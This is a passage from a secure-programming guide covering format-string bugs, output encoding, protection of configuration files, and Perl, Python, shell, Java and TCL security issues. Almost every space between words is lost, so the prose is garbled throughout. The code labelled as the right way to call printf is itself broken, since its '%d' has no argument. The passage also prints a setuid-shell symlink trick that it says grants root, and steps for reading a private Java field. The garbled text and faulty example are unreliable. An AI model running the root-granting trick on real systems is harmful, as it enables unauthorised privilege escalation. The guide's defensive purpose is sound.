asfileson adisk).Suchencryptiondoesn’t protectagainstanattackerbreakingthe
secureapplication,of course,sinceobviously theapplicationhasto haveaway to
accesstheencrypteddatatoo.However, it doesprovidesomedefenseagainstattackers
who manageto getbackupdisksof thedatabut notof thekeysusedto decryptthem.It
alsoprovidessomedefenseif anattacker doesn’t manageto breakinto anapplication,
but doesmanageto partiallybreakinto a relatedsystemjust enoughto view thestored
data- again,they now have to breaktheencryptionalgorithmto getthedata.Thereare
many circumstanceswheredatacanbetransferredunintentionally(e.g.,corefiles),
which this alsoprevents.It’ s worthnoting,however, thatthis is notasstrongadefense
asyou’d think, becauseoftentheserver itself canbesubvertedor broken.
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Judiciousl y

Do notanswera fool according
to his folly, or youwill belikehim
yourself.

Proverbs26:4 (NIV)

8.1. Minimiz e Feedbac k
Avoid giving muchinformationto untrustedusers;simplysucceedor fail, andif it fails
just sayit failedandminimizeinformationon why it failed.Save thedetailed
informationfor audittrail logs.For example:

• If your programrequiressomesortof userauthentication(e.g.,you’rewriting a
network serviceor login program),give theuseraslittle informationaspossible
beforethey authenticate.In particular, avoid giving away theversionnumberof your
programbeforeauthentication.Otherwise,if aparticularversionof your programis
foundto haveavulnerability, thenuserswhodon’t upgradefrom thatversion
advertiseto attackersthatthey arevulnerable.

• If your programacceptsapassword,don’t echoit back;this createsanotherway
passwordscanbeseen.

8.2. Don’t Include Comments
Whenreturninginformation,don’t includeany “comments”unlessyou’resureyou
wantthereceiving userto beableto view them.This is aparticularproblemfor web
applicationsthatgeneratefiles (suchasHTML). Oftenwebapplicationprogrammers
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wish to commenttheir work (which is fine),but insteadof simply leaving thecomment
in their code,thecommentis includedaspartof thegeneratedfile (usuallyHTML or
XML) thatis returnedto theuser. Thetroubleis thatthesecommentssometimes
provide insightinto how thesystemworksin away thataidsattackers.

8.3. Handle Full/Unresponsive Output
It maybepossiblefor auserto clog or makeunresponsiveasecureprogram’soutput
channelbackto thatuser. For example,awebbrowsercouldbeintentionallyhaltedor
have its TCP/IPchannelresponseslowed.Thesecureprogramshouldhandlesuch
cases,in particularit shouldreleaselocksquickly (preferablybeforereplying)sothat
this will not createanopportunityfor aDenial-of-Serviceattack.Alwaysplace
timeoutson outgoingnetwork-orientedwrite requests.

8.4. Contr ol Data Formatting (“Format
Strings”)
A numberof outputroutinesin computerlanguageshaveaparameterthatcontrolsthe
generatedformat.In C, themostobviousexampleis theprintf() family of routines
(includingprintf(), sprintf(),snprintf(),fprintf(), andsoon).Otherexamplesin C
includesyslog()(which writessystemlog information)andsetproctitle()(which sets
thestringusedto displayprocessidentifierinformation).Many functionswith names
beginningwith “err” or “warn”, containing“log” , or endingin “printf ” areworth
considering.Pythonincludesthe"%" operation,whichonstringscontrolsformattingin
asimilar manner. Many programsandlibrariesdefineformattingfunctions,oftenby
callingbuilt-in routinesanddoingadditionalprocessing(e.g.,glib’sg_snprintf()
routine).

Surprisingly, many peopleseemto forgetthepowerof theseformattingcapabilitiesand
usedatafrom untrustedusersastheformattingparameter. Neveruseunfiltereddata
from anuntrusteduserastheformatparameter. Perhapsthis is bestshown by example:

/* Wrong ways: */
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printf(string_from_untrusted_user);
/* Right ways: */
printf("%s %d", string_from_untrusted_user); /* or just */
fputs(string_from_untrusted_user);

Otherwise,anattacker cancauseall sortsof mischiefby carefullyselectingthe
formattingstring.Thecaseof C’sprintf() is a goodexample- therearelots of waysto
possiblyexploit user-controlledformatstringsin printf(). Theseincludebuffer overruns
by creatinga long formattingstring(this canresultin theattackerhaving complete
controlover theprogram),conversionspecificationsthatuseunpassedparameters
(causingunexpecteddatato beinserted),andcreatingformatswhich producetotally
unanticipatedresultvalues(sayby prependingor appendingawkwarddata,causing
problemsin lateruse).A particularlynastycaseis printf’s%n conversionspecification,
which writesthenumberof characterswrittensofar into thepointerargument;using
this,anattackercanoverwriteavaluethatwasintendedfor printing! An attackercan
evenoverwritealmostarbitrarylocations,sincetheattacker canspecifya “parameter”
thatwasn’t actuallypassed.Sincein many casestheresultsaresentbackto theuser,
this attackcanalsobeusedto exposeinternalinformationaboutthestack.This
informationcanthenbeusedto circumventstackprotectionsystemssuchas
StackGuard;StackGuardusesconstant“canary” valuesto detectattacks,but if the
stack’scontentscanbedisplayed,thecurrentvalueof thecanarywill beexposedand
madevulnerable.

A formattingstringshouldalmostalwaysbeaconstantstring,possiblyinvolving a
functioncall to implementa lookupfor internationalization(e.g.,via gettext’s_()).
Notethatthis lookupmustbelimited to valuesthattheprogramcontrols,i.e., theuser
mustbeallowedto only selectfrom themessagefilescontrolledby theprogram.It’s
possibleto filter userdatabeforeusingit (e.g.,by designingafilter listing legal
charactersfor theformatstringsuchas[A-Za-z0-9]),but it’ susuallybetterto simply
preventtheproblemby usingaconstantformatstringor fputs()instead.Notethat
althoughI’ve listedthis asan“output” problem,this cancauseproblemsinternallyto a
programbeforeoutput(sincetheoutputroutinesmaybesaving to a file, or evenjust
generatinginternalstatesuchasvia snprintf()).

Theproblemof input formattingcausingsecurityproblemsis is notanidle possibility;
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seeCERT Advisory CA-2000-13for anexampleof anexploit usingthis weakness.For
moreinformationon how theseproblemscanbeexploited,seePascalBouchareine’s
emailarticletitled “[Paper]Formatbugs”,publishedin theJuly18,2000editionof
Bugtraq(http://www.securityfocus.com).As of December2000,developmental
versionsof thegcccompilersupportwarningmessagesfor insecureformatstring
usages,in anattemptto helpdevelopersavaoidtheseproblems.

Of course,this all begsthequestionasto whetheror not theinternationalizationlookup
is, in fact,secure.If you’recreatingyour own internationalizationlookuproutines,
makesurethatanuntrustedusercanonly specifya legal localeandnotsomethingelse
likeanarbitrarypath.

Clearly, youwantto limit thestringscreatedthroughinternationalizationto onesyou
cantrust.Otherwise,anattackercouldusethis ability to exploit theweaknessesin
formatstrings,particularlyin C/C++programs.Thishasbeenanitemof discussionin
Bugtraq(e.g.,seeJohnLevon’sBugtraqpostonJuly26,2000).For moreinformation,
seethediscussionononpermittingusersto only selectlegal languagevaluesin Section
4.7.3

Althoughit’ s really aprogrammingbug, it’ sworth mentioningthatdifferentcountries
notatenumbersin differentways,in particular, boththeperiod(.) andcomma(,) are
usedto separateanintegerfrom its fractionalpart.If yousaveor loaddata,youneedto
makesurethattheactive localedoesnot interferewith datahandling.Otherwise,a
Frenchusermaynotbeableto exchangedatawith anEnglishuser, becausethedata
storedandretrievedwill usedifferentseparators.I’m unawareof this beingusedasa
securityproblem,but it’ sconceivable.

8.5. Contr ol Character Encoding in Output
In general,asecureprogrammustensurethatit synchronizesits clientsto any
assumptionsmadeby thesecureprogram.Oneissueoftenimpactingwebapplications
is thatthey forgetto specifythecharacterencodingof theiroutput.This isn’t aproblem
if all datais from trustedsources,but if someof thedatais from untrustedsources,the
untrustedsourcemaysneakin datathatusesadifferentencodingthantheoneexpected
by thesecureprogram.Thisopensthedoorfor across-sitemaliciouscontentattack;
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seeSection4.9 for moreinformation.

CERT’s techtip on maliciouscodemitigation
(http://www.cert.org/tech_tips/malicious_code_mitigation.html) explainstheproblem
of unspecifiedcharacterencodingfairly well, soI quoteit here:

Many webpagesleave thecharacterencoding("charset"parameterin HTTP) undefined.In
earlierversionsof HTML andHTTP, thecharacterencodingwassupposedto default to
ISO-8859-1if it wasn’t defined.In fact,many browsershadadifferentdefault,soit wasnot
possibleto rely on thedefault beingISO-8859-1.HTML version4 legitimizesthis - if the
characterencodingisn’t specified,any characterencodingcanbeused.

If thewebserverdoesn’t specifywhich characterencodingis in use,it can’t tell which
charactersarespecial.Webpageswith unspecifiedcharacterencodingwork mostof the
time becausemostcharactersetsassignthesamecharactersto bytevaluesbelow 128.But
whichof thevaluesabove128arespecial?Some16-bit character-encodingschemeshave
additionalmulti-byterepresentationsfor specialcharacterssuchas"<". Somebrowsers
recognizethis alternativeencodingandacton it. This is "correct"behavior, but it makes
attacksusingmaliciousscriptsmuchharderto prevent.Theserversimply doesn’t know
whichbytesequencesrepresentthespecialcharacters.

For example,UTF-7providesalternativeencodingfor "<" and">", andseveralpopular
browsersrecognizetheseasthestartandendof a tag.This is notabug in thosebrowsers.If
thecharacterencodingreally is UTF-7, thenthis is correctbehavior. Theproblemis thatit
is possibleto getinto asituationin which thebrowserandtheserverdisagreeon the
encoding.

Thankfully, thoughexplainingtheissueis tricky, its resolutionin HTML is easy. In the
HTML header, simplyspecifythecharset,like this examplefrom CERT:

<HTML>
<HEAD>
<META http-equiv="Content-Type"
content="text/html; charset=ISO-8859-1">
<TITLE>HTML SAMPLE</TITLE>
</HEAD>
<BODY>
<P>This is a sample HTML page
</BODY>
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</HTML>

Froma technicalstandpoint,anevenbetterapproachis to setthecharacterencodingas
partof theHTTP protocoloutput,thoughsomelibrariesmake this moredifficult. This
is technicallybetterbecauseit doesn’t forcetheclient to examinetheheaderto
determineacharacterencodingthatwouldenableit to readtheMETA informationin
theheader. Of course,in practiceabrowserthatcouldn’t readtheMETA information
givenaboveanduseit correctlywouldnotsucceedin themarketplace,but that’sa
differentissue.In any case,this just meansthattheserverwouldneedto sendaspartof
theHTTP protocol,a “charset”with thedesiredvalue.Unfortunately, it’ shardto
heartilyrecommendthis (technicallybetter)approach,becausesomeolderHTTP/1.0
clientsdid notdealproperlywith anexplicit charsetparameter. AlthoughtheHTTP/1.1
specificationrequiresclientsto obey theparameter, it’ s suspiciousenoughthatyou
probablyoughtto useit asanadjunctto forcing theuseof thecorrectcharacter
encoding,andnotyour solemechanism.

8.6. Prevent Include/Configuration File
Access
Whendevelopingwebbasedapplications,donotallow usersto access(read)filessuch
astheprogramincludeandconfigurationfiles.Thisdatamayprovideenough
information(e.g.,passwords)to breakinto thesystem.Notethatthis guideline
sometimesalsoappliesto otherkindsof applications.Thereareseveralactionsyoucan
take to do this, including:

• Placetheinclude/configurationfilesoutsideof thewebdocumentationroot (sothat
thewebserverwill neverserve thefiles).

• Configurethewebserversoit will not serve includefilesastext. For example,if
you’reusingApache,youcanaddahandleror anactionfor .inc files.

• Placetheincludefiles in aprotecteddirectory(using.htaccess),anddesignatethem
asfiles thatwon’t beserved.
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• Useafilter to deny accessto thefiles.For Apache,thiscanbedoneusing:

<Files ~ "\.phpincludes">
Order allow,deny
Deny from all

</Files>

If youneedfull regularexpressionsto matchfilenames,in Apacheyoucouldusethe
FilesMatchdirective.

• If your includefile is a valid scriptfile, whichyour serverwill parse,makesurethat
it doesn’t actonuser-suppliedparametersandthatit’ sdesignedto besecure.

Theseapproacheswon’t protectyou from userswhohaveaccessto thedirectoriesyour
filesarein if they areworld-readable.You couldchangethepermissionsof thefilesso
thatonly theuid/gid of thewebservercanreadthesefiles.However, this approach
won’t work if theusercangetthewebserver to run hisown scripts(theusercanjust
write scriptsto accessyourfiles).Fundamentally, if your siteis beinghostedona
serversharedwith untrustedpeople,it’ sharderto securethethesystem.Oneapproach
is to run multiplewebservingprograms,eachwith differentpermissions;this provides
moresecuritybut is painful in practice.Anotherapproachis to setthesefiles to beread
only by youruid/gid,andhave theserver run scriptsat “your” permission.This latter
approachhasits own problems:it meansthatcertainpartsof theservermusthave root
privileges,andthatthescriptmayhavemorepermissionsthannecessary.
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Undoubtedlythereareall sortsof
languagesin theworld, yetnone
of themis withoutmeaning.

1 Corinthians14:10(NIV)

Therearemany language-specificsecurityissues.Many of themcanbesummarizedas
follows:

• Turnon all relevantwarningsandprotectionmechanismsavailableto youwhere
practical.For compiledlanguages,this includesbothcompile-timemechanismsand
run-timemechanisms.In general,security-relevantprogramsshouldcompilecleanly
with all warningsturnedon.

• Avoid dangerousanddeprecatedoperationsin thelanguage.By “dangerous”,I mean
operationswhicharedifficult to usecorrectly.

• Ensurethatthelanguages’infrastructure(e.g.,run-timelibrary) is availableand
secured.

• Languagesthatautomaticallygarbage-collectstringsshouldbeespeciallycarefulto
immediatelyerasesecretdata(in particularsecretkeysandpasswords).

• Know preciselythesemanticsof theoperationsthatyouareusing.Look up
operation’ssemanticsin its documentation.Do not ignorereturnvaluesunlessyou’re
surethey cannotberelevant.This is particularlydifficult in languageswhich don’t
supportexceptions,likeC, but that’s theway it goes.

9.1. C/C++
Oneof thebiggestsecurityproblemswith C andC++ programsis buffer overflow; see
Chapter5 for moreinformation.C hastheadditionalweaknessof not supporting
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exceptions,whichmakesit easyto write programsthatignorecritical errorsituations.

Onecomplicationin C andC++ is thatthecharactertype“char” canbesignedor
unsigned(dependingon thecompilerandmachine).Whena signedcharwith its high
bit setis savedin aninteger, theresultwill beanegativenumber;in somecasesthiscan
beexploitable.In general,use“unsignedchar” insteadof charor signedcharfor
buffers,pointers,andcastswhendealingwith characterdatathatmayhavevalues
greaterthan127(0x7f).

C andC++ areby definitionvery lax in their type-checkingsupport,but there’s noneed
to belax in yourcode.Turnon asmany compilerwarningsasyoucanandchangethe
codeto cleanlycompilewith them,andstrictly useANSI prototypesin separateheader
(.h) files to ensurethatall functioncallsusethecorrecttypes.For C or C++
compilationsusinggcc,useat leastthefollowing ascompilationflags(which turnon a
hostof warningmessages)andtry to eliminateall warnings(notethat-O2 is usedsince
somewarningscanonly bedetectedby thedataflow analysisperformedat higher
optimizationlevels):

gcc -Wall -Wpointer-arith -Wstrict-prototypes -O2

You mightwant“-W -pedantic”too.

Many C/C++compilerscandetectinaccurateformatstrings.For example,gcccan
warnaboutinaccurateformatstringsfor functionsyoucreateif youuseits
__attribute__()facility (aC extension)to marksuchfunctions,andyoucanusethat
facility without makingyourcodenon-portable.Hereis anexampleof whatyou’d put
in yourheader(.h) file:

/* in header.h */
#ifndef __GNUC__
# define __attribute__(x) /*nothing*/
#endif

extern void logprintf(const char *format, ...)
__attribute__((format(printf,1,2)));

extern void logprintva(const char *format, va_list args)
__attribute__((format(printf,1,0)));
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The"format" attributetakeseither"printf" or "scanf",andthenumbersthatfollow are
theparameternumberof theformatstringandthefirst variadicparameter
(respectively). TheGNU docstalk aboutthis well. Notethatthereareother
__attribute__facilitiesaswell, suchas"noreturn"and"const".

9.2. Perl
Perlprogrammersshouldfirst readthemanpageperlsec(1),whichdescribesanumber
of issuesinvolvedwith writing secureprogramsin Perl.In particular, perlsec(1)
describesthe“taint” mode,which mostsecurePerlprogramsshoulduse.Taint modeis
automaticallyenabledif therealandeffectiveuseror groupIDs differ, or youcanuse
the-T commandline flag (usethelatterif you’re runningon behalfof someoneelse,
e.g.,aCGI script).Taintmodeturnsonvariouschecks,suchascheckingpath
directoriesto makesurethey aren’t writableby others.

Themostobviousaffectof taintmode,however, is thatyoumaynotusedataderived
from outsideyourprogramto affect somethingelseoutsideyourprogramby accident.
In taintmode,all externally-obtainedinput is markedas“tainted”, includingcommand
line arguments,environmentvariables,localeinformation(seeperllocale(1)),resultsof
certainsystemcalls(readdir, readlink,thegecosfield of getpw*calls),andall file
input.Tainteddatamaynotbeuseddirectly or indirectly in any commandthatinvokes
asub-shell,nor in any commandthatmodifiesfiles,directories,or processes.Thereis
oneimportantexception:If youpassa list of argumentsto eithersystemor exec,the
elementsof thatlist areNOT checkedfor taintedness,sobeespeciallycarefulwith
systemor execwhile in taintmode.

Any datavaluederivedfrom tainteddatabecomestaintedalso.Thereis oneexception
to this; theway to untaintdatais to extractasubstringof thetainteddata.Don’t justuse
“.*” blindly asyoursubstring,though,sincethis woulddefeatthetaintingmechanism’s
protections.Instead,identify patternsthatidentify the“safe” patternallowedby your
program,andusethemto extract“good” values.After extractingthevalue,you may
still needto checkit (in particularfor its length).

Theopen,glob,andbacktickfunctionscall theshellto expandfilenamewild card
characters;this canbeusedto opensecurityholes.Youcantry to avoid thesefunctions

142



Chapter9. Language-SpecificIssues

entirely, or usethemin a less-privileged“sandbox”asdescribedin perlsec(1).In
particular, backticksshouldberewrittenusingthesystem()call (or evenbetter,
changedentirelyto somethingsafer).

Theperl open()functioncomeswith, frankly, “way too muchmagic” for mostsecure
programs;it interpretstext that,if not carefullyfiltered,cancreatelots of security
problems.Beforewriting codeto openor lock afile, consulttheperlopentut(1)man
page.In mostcases,sysopen()providesasafer(thoughmoreconvoluted)approachto
openingafile. Thenew Perl5.6addsanopen()call with 3 parametersto turnoff the
magicbehavior without requiringtheconvolutionsof sysopen()
(http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2000-03/msg02596.html).

Perlprogramsshouldturn on thewarningflag (-w), whichwarnsof potentially
dangerousor obsoletestatements.

You canalsorun Perlprogramsin a restrictedenvironment.For moreinformationsee
the“Safe” modulein thestandardPerldistribution.I’m uncertainof theamountof
auditingthatthis hasundergone,sobewareof dependingon this for security. You
might alsoinvestigatethe“PenguinModel for SecureDistributedInternetScripting”,
thoughat thetimeof this writing thecodeanddocumentationseemsto beunavailable.

9.3. Python
As with any language,bewareof any functionswhichallow datato beexecutedasparts
of aprogram,to makesureanuntrustedusercan’t affect their input.This includes
exec(),eval(), andexecfile()(andfrankly, youshouldcheckcarefullyany call to
compile()).Theinput() statementis alsosurprisinglydangerous.[Watters1996,150].

Pythonprogramswith privilegesthatcanbeinvokedby unprivilegedusers(e.g.,
setuid/setgidprograms)mustnot import the“user” module.Theusermodulecauses
thepythonrc.py file to bereadandexecuted.Sincethis file wouldbeunderthecontrol
of anuntrusteduser, importingtheusermoduleallowsanattacker to forcethetrusted
programto run arbitrarycode.

Pythonincludessupportfor “RestrictedExecution”throughits RExecclass.This is
primarily intendedfor executingappletsandmobilecode,but it canalsobeusedto
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limit privilegein aprogramevenwhenthecodehasnotbeenprovidedexternally. By
default,a restrictedexecutionenvironmentpermitsreading(but notwriting) of files,
anddoesnot includeoperationsfor network accessor GUI interaction.Thesedefaults
canbechanged,but bewareof creatingloopholesin therestrictedenvironment.In
particular, allowing auserto unrestrictedlyaddattributesto aclasspermitsall sortsof
waysto subvert theenvironmentbecausePython’s implementationcallsmany “hidden”
methods.Notethat,by default,mostPythonobjectsarepassedby reference;if you
inserta referenceto amutablevalueinto a restrictedprogram’senvironment,the
restrictedprogramcanchangetheobjectin away that’svisibleoutsidetherestricted
environment!Thus,if youwantto giveaccessto a mutablevalue,in many casesyou
shouldcopy themutablevalueor usetheBastionmodule(whichsupportsrestricted
accessto anotherobject).For moreinformation,seeKuchling[2000]. I’m uncertainof
theamountof auditingthattherestrictedexecutioncapabilityhasundergone,so
programmerbeware.

9.4. Shell Scripting Langua ges (sh and
csh Deriv atives)
I stronglyrecommendagainstusingstandardcommandshellscriptinglanguages(such
ascsh,sh,andbash)for setuid/setgidsecurecode.Somesystems(suchasLinux)
completelydisablethem,soyou’recreatinganunnecessaryportabilityproblem.On
someold systemsthey arefundamentallyinsecuredueto a racecondition(asdiscussed
in Section3.1.3).Evenfor othersystems,they’renot reallya goodidea.Standard
commandshellsarestill notoriousfor beingaffectedby nonobviousinputs- generally
becausecommandshellsweredesignedto try to do things“automatically”for an
interactiveuser, not to defendagainstadeterminedattacker. For example,“hidden”
environmentvariables(e.g.,theENV or BASH_ENV variable)canaffecthow they
operateor evenexecutearbitraryuser-definedcodebeforethescriptcanevenexecute.
Eventhingslikefilenamesof theexecutableor directorycontentscanaffect things.For
example,on many Bourneshell implementations,doingthefollowing will grantroot
access(thanksto NCSA for describingthis exploit):

% ln -s /usr/bin/setuid-shell /tmp/-x
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% cd /tmp
% -x

Somesystemsmayhaveclosedthis hole,but thepoint still stands:mostcommand
shellsaren’t intendedfor writing securesetuid/setgidprograms.For programming
purposes,avoid creatingsetuidshellscripts,evenon thosesystemsthatpermitthem.
Instead,write a smallprogramin anotherlanguageto cleanup theenvironment,then
have it call otherexecutables(someof which mightbeshellscripts).

If youstill insistonusingshellscriptinglanguages,at leastput thescriptin adirectory
whereit cannotbemovedor changed.SetPATH andIFS to known valuesveryearlyin
your script.

9.5. Ada
In Ada95,theUnbounded_Stringtypeis oftenmoreflexible thantheStringtype
becauseit is automaticallyresizedasnecessary. However, don’t storeespecially
sensitivevaluessuchaspasswordsor secretkeys in anUnbounded_String,sincecore
dumpsandpageareasmight still hold themlater. Instead,usetheStringtypefor this
dataandoverwritethedataassoonaspossiblewith someconstantvaluesuchasothers
=> ’ ’.

9.6. Java
If you’redevelopingsecureprogramsusingJava, frankly your first step(afterlearning
Java) is to readthetwo primarytexts for Javasecurity, namelyGong[1999]and
McGraw [1999] (for thelatter, look particularlyat section7.1).You shouldalsolook at
Sun’s postedsecuritycodeguidelinesat
http://java.sun.com/security/seccodeguide.html. A setof slidesdescribingJava’s
securitymodelarefreelyavailableat http://www.dwheeler.com/javasec.

Obviously, agreatdealdependson thekind of applicationyou’redeveloping.Javacode
intendedfor useon theclient sidehasacompletelydifferentenvironment(andtrust
model)thancodeonaserverside.Thegeneralprinciplesapply, of course;for example,
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you mustcheckingandfilter any input from anuntrustedsource.However, in Java
therearesome“hidden” inputsor potentialinputsthatyou needto bewaryof, as
discussedbelow. JohnathanNightingale[2000] madeaninterestingstatement
summarizingmany of theissuesin Javaprogramming:

... thebig thingwith Javaprogrammingis mindingyour inheritances.If you inheritmethods
from parents,interfaces,or parents’interfaces,you risk openingdoorsto yourcode.

Thefollowing area few key guidelines,basedonGong[1999],McGraw [1999],Sun’s
guidance,andmy own experience:

1. Do notusepublic fieldsor variables;declarethemasprivateandprovideaccessors
to themsoyoucanlimit their accessibility.

2. Makemethodsprivateunlesstheseis a goodreasonto do otherwise(andif youdo
otherwise,documentwhy). Thesenon-privatemethodsmustprotectthemselves,
becausethey mayreceive tainteddata(unlessyou’vesomehow arrangedto protect
them).

3. TheJVM maynotactuallyenforcetheaccessibilitymodiifiers(e.g.,“private”)at
run-timein anapplication(asopposedto anapplet).My thanksto JohnSteven
(Cigital Inc.),who pointedthis outon the“SecureProgramming”mailing list on
November7, 2000.Theissueis thatit all dependsonwhatclassloadertheclass
requestingtheaccesswasloadedwith. If theclasswasloadedwith a trustedclass
loader(includingthenull/ primordialclassloader),theaccesscheckreturns
"TRUE" (allowing access).For example,this works(at leastwith Sun’s1.2.2VM ;
it mightnot work with otherimplementations):

a.write avictim class(V) with apublic field, compileit.

b. write an’attack’ class(A) thataccessesthatfield, compileit

c. changeV’spublic field to private,recompile

d. run A - it’ ll accessV’s (now private)field.

However, thesituationis differentwith applets.If youconvertA to anappletand
run it asanapplet(e.g.,with appletvieweror browser),its classloaderis no longer
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a trusted(or null) classloader. Thus,thecodewill throw
java.lang.IllegalAccessError, with themessagethatyou’re trying to accessafield
V.secretfrom classA.

4. Avoid usingstaticfield variables.Suchvariablesareattachedto theclass(not class
instances),andclassescanbelocatedby any otherclass.As a result,staticfield
variablescanbefoundby any otherclass,makingthemmuchmoredifficult to
secure.

5. Never returnamutableobjectto potentiallymaliciouscode(sincethecodemay
decideto changeit). Notethatarraysaremutable(evenif thearraycontents
aren’t), sodon’t returna referenceto aninternalarraywith sensitivedata.

6. Neverstoreusergivenmutableobjects(includingarraysof objects)directly.
Otherwise,theusercouldhandtheobjectto thesecurecode,let thesecurecode
“check” theobject,andchangethedatawhile thesecurecodewastrying to usethe
data.Clonearraysbeforesaving theminternally, andbecarefulhere(e.g.,beware
of user-written cloningroutines).

7. Don’t dependon initialization.Thereareseveralwaysto allocateuninitialized
objects.

8. Makeeverythingfinal, unlessthere’s agoodreasonnot to. If aclassor methodis
non-final,anattackercouldtry to extendit in adangerousandunforeseenway.
Notethatthiscausesa lossof extensibility, in exchangefor security.

9. Don’t dependonpackagescopefor security. A few classes,suchasjava.lang,are
closedby default,andsomeJavaVirtual Machines(JVMs) let youcloseoff other
packages.Otherwise,Javaclassesarenot closed.Thus,anattackercouldintroduce
anew classinsideyourpackage,andusethis new classto accessthethingsyou
thoughtyouwereprotecting.

10.Don’t useinnerclasses.Wheninnerclassesaretranslatedinto bytecodes,the
innerclassis translatedinto aclassaccesibleto any classin thepackage.Even
worse,theenclosingclass’sprivatefieldssilentlybecomenon-privateto permit
accessby theinnerclass!

11.Minimize privileges.Wherepossible,don’t requireany specialpermissionsat all.
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McGraw goesfurtherandrecommendsnot signingany code;I saygoaheadand
signthecode(souserscandecideto “run only signedcodeby this list of senders”),
but try to write theprogramsothatit needsnothingmorethanthesandboxsetof
privileges.If youmusthavemoreprivileges,auditthatcodeespeciallyhard.

12. If youmustsignyourcode,put it all in onearchivefile. Hereit’ sbestto quote
McGraw [1999]:

Thegoalof this rule is to preventanattacker from carryingoutamix-and-match
attackin which theattackerconstructsanew appletor library thatlinks someof your
signedclassestogetherwith maliciousclasses,or links togethersignedclassesthat
younevermeantto beusedtogether. By signingagroupof classestogether, youmake
this attackmoredifficult. Existingcode-signingsystemsdoaninadequatejob of
preventingmix-and-matchattacks,sothis rule cannotpreventsuchattackscompletely.
But usingasinglearchivecan’t hurt.

13.Makeyour classesuncloneable.Java’sobject-cloningmechanismallowsan
attacker to instantiateaclasswithout runningany of its constructors.To makeyour
classuncloneable,just definethefollowing methodin eachof yourclasses:
public final void clone() throws java.lang.CloneNotSupportedException {

throw new java.lang.CloneNotSupportedException();
}

If you really needto makeyour classcloneable,thentherearesomeprotective
measuresyou cantake to preventattackersfrom redefiningyour clonemethod.If
you’redefiningyour own clonemethod,just make it final. If you’renot,youcanat
leastpreventtheclonemethodfrom beingmaliciouslyoverriddenby addingthe
following:
public final void clone() throws java.lang.CloneNotSupportedException {
super.clone();
}

14.Makeyour classesunserializeable.Serializationallowsattackersto view the
internalstateof your objects,evenprivateportions.To preventthis,addthis
methodto yourclasses:

private final void writeObject(ObjectOutputStream out)
throws java.io.IOException {
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throw new java.io.IOException("Object cannot be serialized");
}

Evenin caseswhereserializationis okay, besureto usethetransientkeyword for
thefieldsthatcontaindirecthandlesto systemresourcesandthatcontain
informationrelative to anaddressspace.Otherwise,deserializingtheclassmay
permitimproperaccess.You mayalsowantto identify sensitive informationas
transient.

If youdefineyourown serializingmethodfor aclass,it shouldnot passaninternal
arrayto any DataInput/DataOuputmethodthattakesanarray. Therationale:All
DataInput/DataOutputmethodscanbeoverridden.If aSerializableclasspassesa
privatearraydirectly to a DataOutput(write(byte[] b)) method,thenanattacker
couldsubclassObjectOutputStreamandoverridethewrite(byte[] b) methodto
enablehim to accessandmodify theprivatearray. Notethatthedefault
serializationdoesnotexposeprivatebytearrayfieldsto DataInput/DataOutput
bytearraymethods.

15.Makeyour classesundeserializeable.Evenif yourclassis not serializeable,it may
still bedeserializeable.An attacker cancreateasequenceof bytesthathappensto
deserializeto aninstanceof your classwith valuesof theattacker’schoosing.In
otherwords,deserializationis akind of public constructor, allowing anattacker to
choosetheobject’sstate- clearlyadangerousoperation!To preventthis,addthis
methodto yourclasses:

private final void readObject(ObjectInputStream in)
throws java.io.IOException {

throw new java.io.IOException("Class cannot be deserialized");
}

16.Don’t compareclassesby name.After all, attackerscandefineclasseswith
identicalnames,andif you’renot carefulyoucancauseconfusionby granting
theseclassesundesirableprivileges.Thus,here’s anexampleof thewrongway to
determineif anobjecthasagivenclass:

if (obj.getClass().getName().equals("Foo")) {
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If youneedto determineif two objectshaveexactly thesameclass,insteaduse
getClass()on bothsidesandcompareusingthe== operator, Thus,you shoulduse
this form:

if (a.getClass() == b.getClass()) {

If you truly needto determineif anobjecthasagivenclassname,youneedto be
pedanticandbesureto usethecurrentnamespace(of thecurrentclass’s
ClassLoader).Thus,you’ll needto usethis format:

if (obj.getClass() == this.getClassLoader().loadClass("Foo")) {

Thisguidelineis from McGraw andFelten,andit’ sagoodguideline.I’ ll addthat,
wherepossible,it’ softenagoodideato avoid comparingclassvaluesanyway. It’ s
oftenbetterto try to designclassmethodsandinterfacessoyoudon’t needto do
thisat all. However, this isn’t alwayspractical,soit’ s importantto know these
tricks.

17.Don’t storesecrets(cryptographickeys,passwords,or algorithm)in thecodeor
data.HostileJVMs canquickly view this data.Codeobfuscationdoesn’t really
hidethecodefrom seriousattackers.

9.7. TCL
Tcl standsfor “tool commandlanguage”andis pronounced“tickle.” TCL is divided
into two parts:a languageanda library. Thelanguageis asimpletext language,
intendedfor issuingcommandsto interactiveprogramsandincludingbasic
programmingcapabilities.Thelibrary canbeembeddedin applicationprograms.

You canfind moreinformationaboutTCL at sitessuchastheTCL WWW Info
(http://www.sco.com/Technology/tcl/Tcl.html) webpage.Probablyof mostinterestare
Safe-TCL(whichcreatesasandboxin TCL) andSafe-TK(which implementsa
sandboxedportableGUI for Safe-TCL),aswell astheWebWiseTclTkToolkit permits
TCL packagesto beautomaticallylocatedandloadedfrom anywhereon theWorld
Wide Web. Youcanfind moreaboutthelatterfrom
http://www.cbl.ncsu.edu/software/WebWiseTclTk.It’ snot clearto mehow muchcode
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review this hasreceived.More usefulinformationis availablefrom thecomp.lang.tcl
FAQ launchpageat http://www.tclfaq.wservice.com/tcl-faq.However, it’ sworth noting
thatTCL’sdesireto beasmall,“simple” languageresultsin a languagethatcanbe
ratherlimiting; seeRichardStallman’s “Why You ShouldNot UseTCL”
(http://sdg.lcs.mit.edu/~jchapin/6853-FT97/Papers/stallman-tcl.html). For example,
TCL’s notionthatthereis essentiallyonly onedatatype(string)canmakemany
programsharderto write (aswell asmakingthemslow). Also, whenI’vewritten TCL
programsI’ve foundthatit’ seasyto accidentallycreateTCL programswhere
maliciousinputstringscancauseuntowardandunexpectedbehavior. For example,an
attackersmaybeableto causeyour TCL programto dounexpectedthingsby sending
characterswith specialmeaningto TCL suchasembeddedspaces,double-quote,curly
braces,dollar signs,or brackets(or createinput to causethesecharactersto becreated
duringprocessing).Thus,I don’t recommendTCL for writing programswhich must
mediateasecurityboundary. If youdo chooseto doso,beespeciallycarefulto ensure
thatuserinput cannot“fool” theprogram.On theotherhand,I know of nostrong
reason(otherthaninsufficient review) thatTCL programscan’t beusedto implement
mobilecode.TherearecertainlyTCL advocateswhowill advocatemoreusethanI do,
andTCL is oneof thefew languageswith a ready-madesandboximplementation.
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Understandingis a fountainof
life to thosewhohaveit, but folly
bringspunishmentto fools.

Proverbs16:22(NIV)

10.1. Passwords
